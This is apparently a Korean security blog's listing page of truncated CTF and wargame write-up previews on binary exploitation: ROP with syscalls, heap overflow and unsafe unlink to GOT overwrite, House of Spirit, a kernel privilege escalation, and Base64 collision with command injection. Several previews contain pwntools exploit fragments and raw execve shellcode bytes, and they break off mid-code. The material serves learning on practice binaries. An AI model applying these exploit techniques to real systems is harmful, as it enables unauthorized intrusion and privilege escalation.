오늘 h4c 발표자료 만들랴, It과제 하랴 이것저것 할게 많아서 1pwn 을 하긴 했는데 그닥 만족스럽지 못하다 ㅠㅠ 그래서 이번엔 문제와 같이 pwnkr ascii 를 보면서 배운것도 같이 써보겠다. HITCON - Start 이번에 푼것은 hitcon start 인데, 이건 사실 저번에 hitcon ctf 당시에도 풀었었다. 하지만 이번 h4c 발표자료를 만들면서 참고문제로 새로 익스플로잇을 작성했다. 먼저 코드를 보면 이게 다다. 그냥 exploit 하면 될것처럼 보이지만. static linking 되있는데 system, exec 계열이 없다. 그래서 syscall 을 통해서 익스플로잇 해야하는 문제이다. 이런 익스플로잇 순서를 따를 것이다. 적당히 ROPgadget 으로 가젯 구해주고 익스짜면..
pwnable.kr rsa_calculator 하다가 삘와서 잡은 문제다. 절대 seccon go언어 문제 하다가 1폰 못할거 같아서 쫄려서 잡은 문제 아니다. main 함수같은 경우는 이런식으로 구성되어있다. 먼저 add 부터 보자. 이렇게 되어있는것을 볼수 있는데, 우리가 지정한 크기로 malloc 을 수행해 주는것을 볼수 있고 최대 5개까지의 노트를 만들 수 있다는 것도 볼수 있다. 그리고 가장 중요한 힙의 모양을 볼 수 있다. 이런식으로 우리가 노트를 한개 만들면 먼저 heap1 같은 구성으로 malloc 한번 되고 DATA 에 malloc 을 한번 더 진행해서 입력한 Content를 heap2 에 저장하는 것을 볼 수 있다. 또한 이에 맞춰 delete 할때 free 도 heap1, heap2 ..
Change 부분에서 Heap overflow 가 일어남=> heap base leak 가능 malloc, free 를 유저 함수로 만들어서 하는데 free 에서 unsafe unlink 비스무리한 취약점이 나온다. 고로 시나리오를 짜보면 heap overflow => heap base leak unsafe unlink => got overwrite => get shell 참고로 nx 가 꺼져있어서 쉘코드 쓰면된다. 근데 나는 32비트 쉘코드가지고 왜 안되냐며 욕하다가 알아채고 자살할 뻔 했다. from pwn import * def Leave(size,message):p.sendline("L")p.recvuntil(":")p.sendline(size)p.recvuntil(":")p.sendline(me..
이번에 ch4n3 world 에 올린 문제입니당 ㅎㅎ 원래는 FULL RELRO 걸려했는데 익스 다 짜놓은 상태라서 말았습니다.....ㅎㅎ...... 문제 컨셉은 졸린 상태에서 코딩하면 이렇게 위험하다! 입니다. 그래서 여기저기 눈에 잘 보이는 취약점이 많아요. 고로 쉬운문제 입니당! 이제 바이너리를 봐봅시다. 있는 취약점을 다 보여드릴게영. Size 를 받을때 검증을 안해서 memset 으로 leak & overwrite 히든메뉴에서 id check 후에 일어나는 bof( 사실 안넣으려했고, 다른부분에서도 exploit 이 가능한데 조금이라도 편하게 하시라고 넣었습니다 ) format string bug if 문에서 체킹을 하는데 break 를 안해서 생기는 overwrite( 이게 원래 원하던 exp..
Heap을 제대로 파보려고 만든 Heap 카테고리 첫 글입니다. 처음은 House of 시리즈중 제 생각에 가장 할만한 Spirit 기법을 들고 왔습니다. #include int main(int argc, char *argv[]) { void *heap = malloc(32); char buf[8]; read(0, buf, 128);printf("buf : %p\np : %p\n", buf,heap); free(heap); printf("malloc : %p\n",malloc(32));} The house of Spirit 는 fastbin을 공격하는 기법으로, 같은 크기만큼을 재할당 할경우 같은 주소를 반환하는 fastbin 특성을 이용하여, 원하는 주소에 원하는 값을 쓸 수 있게 합니다. 먼저 일반적..
후욱 원래 풀이글 올리면 안되지만 첫 커널 익스에 기쁨에 주체하지 못하고 하나만 올려봅니다... 먼저 커널익스시 주의점이 커널 익스시에는 바로 root 를 딸수 없슴당!! 고로 commit_creds(prepare_kernel_cred(0)); 요런식의 함수를 하나 갈겨주고 쉘 따주시면 되는데 요걸 어떻게 갈길건가?? 고건 sys_upper 라는 pwnable.kr 에서 준비한 커널 함수에서 발생함다 // adding a new system call : sys_upper #include #include #include #include #include #include #include #include #define SYS_CALL_TABLE0x8000e348// manually configure this a..
64bit scanf 를 사용한 문제였다. asis 에 Mrs. Hudson였던가 그문제랑 유사했다. from pwn import * p = process("./scan") s = 0x4005E4scanf = 0x400430 data = 0x0000000000601028poprdi = 0x4005c3popsdi_r15 = 0x00000000004005c1shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" pay = "A"*112pay += "B"*8 pay += p64(poprdi) + p64(s)pay += p64(popsdi_r15) ..
ㅁ윽 클리어 조건이 헷갈려서 오래걸린 문제 ㅠㅠㅠ 그냥 login 했을때 already logined 뜨면 클리어였습니당.. #include #include #include #include #include struct auth { char name[32]; int auth; }; struct auth *auth; char *service; int main(int argc, char **argv) { char line[128]; while(1) { printf("[ auth = %p, service = %p ]\n", auth, service); if(fgets(line, sizeof(line), stdin) == NULL) break; if(strncmp(line, "auth ", 5) == 0) { a..
alloca 풀다 빡쳐서 기분전환으로 쉬운문제 하나 잡아왔따. 보면 Stage 1,2,3 으로 나뉘어 있는데 요약하자면 1. Base64 collision 2. Base64 length collision 3. filtered command injection 이 되시겠다. 처음보는 Base64 collision 인데, 이거덕에 Base64에 대해 더 잘 알게 되었다! 먼저 Base64 인코딩 할때 뒤에 = 이나 == 이 붙는 경우를 볼 수 있다. 이것이 붙는 이유가 일종의 패딩이라 보면 되는데, 8진수 -> 6진수 하는 과정에서 0의 갯수를 맞춰주기 위해 아무 의미 없는것을 붙이는 것이다. 하지만 이것덕분에 0의 갯수를 맞춰주기 위한 아무것들을 조작함으로써 다른 base64 인코딩 결과지만 디코딩시 같은 ..